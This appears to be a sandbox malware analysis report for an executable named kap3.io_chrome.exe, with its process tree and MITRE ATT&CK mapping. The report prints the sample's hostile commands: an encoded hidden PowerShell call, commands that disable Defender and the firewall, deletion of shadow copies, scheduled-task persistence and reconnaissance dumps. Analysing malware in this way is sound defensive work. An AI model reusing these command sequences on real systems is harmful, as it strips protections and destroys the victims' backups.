PID 4408 wrote to memory of 3456	4408	kap3.io_chrome.exe	149
PID 4408 wrote to memory of 4260	4408	kap3.io_chrome.exe	150
PID 4408 wrote to memory of 360	4408	kap3.io_chrome.exe	151
PID 4408 wrote to memory of 328	4408	kap3.io_chrome.exe	152
PID 4408 wrote to memory of 4620	4408	kap3.io_chrome.exe	156
PID 4408 wrote to memory of 3764	4408	kap3.io_chrome.exe	161
PID 4408 wrote to memory of 6164	4408	kap3.io_chrome.exe	163
PID 4408 wrote to memory of 6168	4408	kap3.io_chrome.exe	197
PID 4408 wrote to memory of 6192	4408	kap3.io_chrome.exe	165
PID 4408 wrote to memory of 6212	4408	kap3.io_chrome.exe	166
PID 4408 wrote to memory of 6256	4408	kap3.io_chrome.exe	204
PID 4408 wrote to memory of 6240	4408	kap3.io_chrome.exe	168
PID 200 wrote to memory of 6328	200	cmd.exe	171
PID 4260 wrote to memory of 6452	4260	cmd.exe	176
PID 7112 wrote to memory of 6584	7112	cmd.exe	177
PID 3456 wrote to memory of 6572	3456	cmd.exe	178
PID 328 wrote to memory of 6612	328	cmd.exe	179
PID 6452 wrote to memory of 6628	6452	net.exe	180
PID 360 wrote to memory of 6772	360	cmd.exe	181
PID 5852 wrote to memory of 6756	5852	cmd.exe	182
PID 6192 wrote to memory of 6668	6192	net.exe	183
PID 4436 wrote to memory of 3812	4436	chrome.exe	184
PID 4436 wrote to memory of 7056	4436	chrome.exe	185
PID 4436 wrote to memory of 7080	4436	chrome.exe	186
PID 7112 wrote to memory of 5492	7112	cmd.exe	187
PID 4436 wrote to memory of 6184	4436	chrome.exe	188
PID 4436 wrote to memory of 3888	4436	chrome.exe	189
PID 4436 wrote to memory of 3780	4436	chrome.exe	190

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4408
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://kap3.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4436
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7fff05a8c728,0x7fff05a8c734,0x7fff05a8c740
    3⤵
    PID:4176
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1608,i,7468365217526980241,16034408226519967925,262144 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=1936 /prefetch:2
    3⤵
    PID:4492
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,14612945479003129658,11764779888897625079,524288 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=2100 /prefetch:11
    3⤵
    - System Time Discovery
    PID:2176
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2208,i,7093469174239919187,16757739704062431802,524288 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=2180 /prefetch:13
    3⤵
    PID:4064
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3076,i,10509464427506728850,216983633694812926,2097152 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=3084 /prefetch:1
    3⤵
    PID:472
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3092,i,10241791393214007873,5647871554199199420,2097152 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=3100 /prefetch:1
    3⤵
    PID:1684
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4648,i,2569303182699015565,14841488607220707125,524288 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=4664 /prefetch:14
    3⤵
    PID:1596
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4812,i,5080094840072360766,11467055691782407383,2097152 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=4864 /prefetch:1
    3⤵
    PID:2908
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=256,i,8390854558721413560,9862831154178961144,524288 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=5196 /prefetch:14
    3⤵
    PID:3812
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3328,i,2892348953439173729,8246582226407550774,524288 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=5332 /prefetch:14
    3⤵
    PID:7056
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3112,i,10358169473667172186,1791587584048880967,524288 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:14
    3⤵
    PID:7080
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5576,i,6827451917831933891,10165213197328770732,524288 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=4716 /prefetch:14
    3⤵
    PID:6184
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5616,i,882735491234863744,13868496054214153341,2097152 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:1
    3⤵
    PID:3888
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5628,i,11974051530515203599,7570101113059710939,2097152 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:1
    3⤵
    PID:3780
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5892,i,11044199704387368808,2668718210394198613,2097152 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=5632 /prefetch:1
    3⤵
    PID:6492
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5932,i,9794506835008889214,5939145853174122094,524288 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:14
    3⤵
    PID:6468
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5280,i,11245385212303517406,13674658091344505804,2097152 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=5628 /prefetch:1
    3⤵
    PID:6348
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6060,i,10264336093507452101,10536359801367131233,2097152 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=3460 /prefetch:1
    3⤵
    PID:324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6080,i,3339344592246324989,16657503930059905289,2097152 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=5280 /prefetch:1
    3⤵
    PID:6168
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6052,i,6100102077375705220,4724759022123953959,2097152 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=3460 /prefetch:1
    3⤵
    PID:4084
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5064,i,10092658350210738237,1386965933657111410,2097152 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:1
    3⤵
    PID:1992
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6008,i,9040790464513328333,7098054375267466566,524288 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=5060 /prefetch:14
    3⤵
    PID:3560
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5664,i,18278214673197480224,6754874431149753408,524288 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=6072 /prefetch:14
    3⤵
    PID:6644
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=3460,i,8232201639604001696,2745610476350855452,2097152 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=5080 /prefetch:1
    3⤵
    PID:7148
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=5680,i,15014086544582842346,9838003744938444108,2097152 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=5100 /prefetch:9
    3⤵
    PID:6256
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=900,i,4414033277384466556,6160891799043183391,262144 --field-trial-handle=1940,i,6540238137208718994,11376016022103832542,262144 --variations-seed-version --mojo-platform-channel-handle=4996 /prefetch:10
    3⤵
    PID:6788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6040
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3316
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5764
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:3248
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4508
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4140
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5724
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:2468
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4888
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:5992
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3452
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1628
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5672
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5368
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:308
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6632
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6656
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:6980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:7112
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:6584
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5492
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:200
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:6328
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5852
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:6756
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3456
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:6572
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4260
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6452
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:6628
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:360
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5368
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:6772
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:328
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:6612
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4620
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3764
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:6164
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6168
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6192
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:6668
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:6212
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:6256
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:6240

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2580

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:768

C:\Windows\system32\SystemSettingsAdminFlows.exe
"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
1⤵
PID:4564

C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe
1⤵
PID:6892

C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\kap3.io_chrome.exe
1⤵
PID:7044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:7092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:7064

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery